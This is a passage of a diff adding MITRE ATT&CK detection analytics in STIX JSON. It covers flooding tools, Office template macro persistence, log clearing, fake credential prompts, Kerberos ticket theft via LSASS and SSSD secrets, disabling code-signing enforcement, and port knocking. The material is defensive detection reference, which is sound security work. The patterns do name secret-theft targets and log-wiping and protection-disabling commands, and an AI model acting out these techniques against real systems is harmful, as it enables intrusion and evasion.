"x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TargetProcesses", + "description": "List of monitored .NET host processes (e.g., powershell.exe, w3wp.exe, svchost.exe)." + }, + { + "field": "AssemblyWhitelist", + "description": "Known benign .NET assemblies expected to load via AppDomainManager." + }, + { + "field": "ConfigFilePaths", + "description": "Directory paths where configuration tampering should be monitored (application directories, system32, program files)." + }, + { + "field": "TimeWindow", + "description": "Correlation period between file modification of config/environment settings and subsequent anomalous module load." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0eff49de-834e-42d3-9a7a-3ac032aa9836", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0518#AN1434", + "external_id": "AN1434" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1434", + "description": "Executable or script generating large outbound network traffic targeting remote hosts or known amplification ports", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ThresholdEventVolume", + "description": "Number of connections per second that should trigger anomaly logic" + }, + { + "field": "DestinationDiversity", + "description": "Count of unique destination IPs or ports" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1578f892-0644-4974-bf55-9abb802612fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0518#AN1435", + "external_id": "AN1435" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1435", + "description": "Flooding tools like hping3 or nping sending large volumes of packets across multiple ports or IPs", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "Execution of network stress tools or anomalies in socket/syscall behavior" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "High volume flows with incomplete TCP sessions or single-packet bursts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PacketRateThreshold", + "description": "Packets per second beyond normal behavior" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--85b4c967-56bc-4990-b3e2-7e40f3ef1852", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0519#AN1436", + "external_id": "AN1436" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1436", + "description": "Adversaries inject VBA macros into Office templates such as Normal.dotm or Personal.xlsb or redirect Office template load path via registry key (GlobalDotName) to gain persistence. Template macros trigger execution of malicious code on application startup.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=15" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13, 14" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:Microsoft-Office-Alerts", + "channel": "Office application warning or alert on macro execution from template" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TemplatePath", + "description": "Path to Normal.dotm, Personal.xlsb, or Excel/Word startup templates may vary by Office version and user" + }, + { + "field": "RegistryPath", + "description": "GlobalDotName or equivalent registry keys may differ across Office versions or deployments" + }, + { + "field": "TimeWindow", + "description": "Office process creation and macro execution timing after system or user login" + }, + { + "field": "UserContext", + "description": "May be scoped to high-value users or those with access to sensitive templates" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--17bc7c97-7322-4619-84c5-50e45aa6627d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0519#AN1437", + "external_id": "AN1437" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1437", + "description": "Malicious VBA macros embedded in base templates like Normal.dotm or Personal.xlsb are automatically loaded and executed at startup. Template path may be hijacked to load a remote or attacker-controlled template via GlobalDotName registry setting.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "m365:unified", + "channel": "Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TemplateSource", + "description": "Macros may be embedded in local user templates or retrieved from shared network paths" + }, + { + "field": "MacroSecurityLevel", + "description": "Macro execution policy (disabled, warn, enabled) varies by tenant or user configuration" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6ffa0db8-a088-4e7a-b8e5-50a204762cca", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0520#AN1438", + "external_id": "AN1438" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1438", + "description": "Detects log-clearing behavior by correlating suspicious command execution targeting log files under /var/log/, anomalous deletions or truncations of system logs, and unusual child processes (e.g., shell pipelines or redirections).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "auditd:SYSCALL", + "channel": "PATH" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "The time window used to correlate log file interaction and suspicious command execution." + }, + { + "field": "LogFilePathPattern", + "description": "Regex pattern used to match monitored log file paths (e.g., /var/log/auth.log)." + }, + { + "field": "UserContext", + "description": "User or group (e.g., root) that should trigger higher severity detection." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b4e2440e-8956-4ae6-94cb-da859f407f27", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0520#AN1439", + "external_id": "AN1439" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1439", + "description": "Detects adversary clearing log files on macOS by correlating calls to shell utilities (e.g., echo >, rm, truncate) targeting files in /var/log/ with unusual context (non-administrative users or abnormal process lineage).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "fs:fsusage", + "channel": "truncate, unlink, write" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Duration in which process activity and file I/O should be temporally linked." + }, + { + "field": "LogFilePathPattern", + "description": "Tunable path filter for macOS logs such as /var/log/system.log or /var/log/asl.log." + }, + { + "field": "UserContext", + "description": "Detects higher risk when log deletion is performed by unusual users (e.g., interactive vs. system users)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ea127140-2f66-4c3d-93ab-215c210ad6c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0521#AN1440", + "external_id": "AN1440" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1440", + "description": "Detects suspicious use of PowerShell, .NET, or script interpreters to spawn processes that mimic UAC prompts, often with credential capture dialogue boxes invoked from non-standard parent processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CommandLine", + "description": "Tunable to detect suspicious prompts like 'Enter your password' or 'CredentialRequired'" + }, + { + "field": "ParentProcessName", + "description": "Tune to flag UI prompts spawned from unexpected processes like cmd.exe or user scripts" + }, + { + "field": "TimeWindow", + "description": "Scope correlation of script execution and prompt appearance" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c4ff3b74-bba1-4129-b246-50213e77336d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0521#AN1441", + "external_id": "AN1441" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1441", + "description": "Detects GUI-based credential prompts invoked via zenity/kdialog/dialog or X11 APIs from non-user-facing scripts or background shell sessions, often with authentication-related text.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "linux:cli", + "channel": "Terminal Command History" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutableName", + "description": "Filter zenity/kdialog prompts launched from unexpected parent shells" + }, + { + "field": "PromptString", + "description": "Look for 'password', 'authentication required', or similar tokens" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3b327a8f-0ea3-4848-b34a-58029e5edf57", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0521#AN1442", + "external_id": "AN1442" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1442", + "description": "Detects AppleScript or Objective-C usage to generate fake authentication windows (e.g., using display dialog or NSAlert) from user-launched or persistence-related processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd", + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.Security or com.apple.applescript" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:osquery", + "channel": "process_events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ScriptContent", + "description": "AppleScript snippets like 'display dialog' or 'with hidden answer'" + }, + { + "field": "ProcessPath", + "description": "Tune out Apple-signed and expected automation tasks" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--685b05a6-92a3-417d-a917-8e7689e43237", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0522#AN1443", + "external_id": "AN1443" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1443", + "description": "Detects anomalous Kerberos activity such as forged or stolen tickets by correlating malformed fields in logon events, RC4-encrypted TGTs, or TGS requests without corresponding TGT requests. Also detects suspicious processes accessing LSASS memory for ticket extraction.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4624, 4672, 4634, 4768, 4769" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=10" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TicketLifetimeThreshold", + "description": "Threshold for Kerberos TGT lifetimes deviating from domain defaults." + }, + { + "field": "EncryptionTypes", + "description": "Monitor for downgraded encryption types (e.g., RC4) in Kerberos tickets." + }, + { + "field": "ProcessAllowlist", + "description": "List of expected processes accessing LSASS; deviations may be suspicious." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c101374a-ce7a-46d7-b7d4-c64fbdf1f685", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0522#AN1444", + "external_id": "AN1444" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1444", + "description": "Detects suspicious access to SSSD secrets database and Kerberos key material indicating ticket theft or replay attempts. Correlates anomalous file access with unusual Kerberos service ticket requests.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--02d090b6-8157-48da-98a2-517f7edd49fc", + "name": "linux:syslog", + "channel": "Unusual kinit or klist activity" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SecretsAccessThreshold", + "description": "Alert threshold for frequency of access to Kerberos secrets files." + }, + { + "field": "UnusualServiceAccounts", + "description": "Baseline accounts normally performing Kerberos requests; anomalies flagged." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c08ad617-cc0d-4435-9168-08c762048503", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0522#AN1445", + "external_id": "AN1445" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1445", + "description": "Detects attempts to forge or replay Kerberos tickets by monitoring Unified Logs for anomalous kinit/klist activity and correlating unusual authentication sequences.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "macos:unifiedlog", + "channel": "Unusual Kerberos TGS-REQ without TGT or anomalous ticket lifetime" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TicketRequestPatterns", + "description": "Expected sequence of TGT followed by TGS requests; deviations may indicate forgery." + }, + { + "field": "TicketLifetime", + "description": "Expected ticket lifetimes; anomalies may indicate Golden or Silver Tickets." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--83067587-4426-44cb-89de-f2b948c91104", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0523#AN1446", + "external_id": "AN1446" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1446", + "description": "Monitors execution of administrative utilities (e.g., bcdedit.exe) or registry modifications that disable Driver Signature Enforcement (DSE) or enable Test Signing. Correlates command-line activity, registry changes, and subsequent process executions that bypass signing enforcement.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredExecutables", + "description": "Expand or restrict monitored utilities (e.g., bcdedit.exe, reg.exe) based on enterprise usage" + }, + { + "field": "RegistryPaths", + "description": "Customize registry paths tied to Driver Signing enforcement depending on OS version" + }, + { + "field": "TimeWindow", + "description": "Correlation window between registry modification and subsequent unsigned binary execution" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7853421f-8eb4-49c3-9943-077430b97037", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0523#AN1447", + "external_id": "AN1447" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1447", + "description": "Detects modification of System Integrity Protection (SIP) or code signing enforcement policies through csrutil or kernel variable tampering. Correlates execution of csrutil disable commands with subsequent policy state changes and anomalous unsigned process executions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "csrutil disable" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "macos:unifiedlog", + "channel": "g_CiOptions modification or SIP state change" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Unsigned binary execution following SIP change" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PolicyPaths", + "description": "Track configuration files and kernel extensions tied to SIP enforcement" + }, + { + "field": "AllowedUsers", + "description": "Restrict or expand which privileged accounts are monitored for SIP/CSRUTIL changes" + }, + { + "field": "TimeWindow", + "description": "Define correlation between csrutil execution and unsigned process activity" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0848a778-7bcf-48d9-a14a-d29d1e71e656", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0524#AN1448", + "external_id": "AN1448" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1448", + "description": "A remote host sends a short sequence of failed connection attempts (RST/ICMP unreachable) to a set of closed ports. Within a brief window the endpoint (a) adds/enables a firewall rule or (b) a sniffer-backed process begins listening or opens a new socket, after which a successful connection occurs. Also detects Wake-on-LAN magic packets seen on local segment.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall", + "channel": "EventCode=2004,2005,2006" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:PowerShell", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindowKnock", + "description": "Window to correlate knock sequence \u2192 rule change \u2192 successful connect (e.g., 120s)." + }, + { + "field": "PortSequenceMinLen", + "description": "Minimum number of distinct closed ports hit before success (e.g., 3)." + }, + { + "field": "SuspiciousProcesses", + "description": "List of binaries that commonly toggle firewall/sniff (netsh.exe, powershell.exe, npcapservice.exe, windivert, rawsock tools)." + }, + { + "field": "AllowedFirewallChangers", + "description": "Service accounts or software update agents allowed to change firewall." + }, + { + "field": "WoLAllowedWindows", + "description": "Maintenance windows when magic packets are expected." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2e7a9609-3e4b-477b-828f-f486561d7fa7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0524#AN1449", + "external_id": "AN1449" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1449", + "description": "Closed-port knock sequence from a remote IP followed by on-host firewall change (iptables/nftables) or daemon starts listening (socket open) and a successful TCP/UDP connect. Optional detection of libpcap/raw-socket sniffers spawning to watch for secret values.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "socket/bind: Process binds to a new local port shortly after knock" + }, + { + 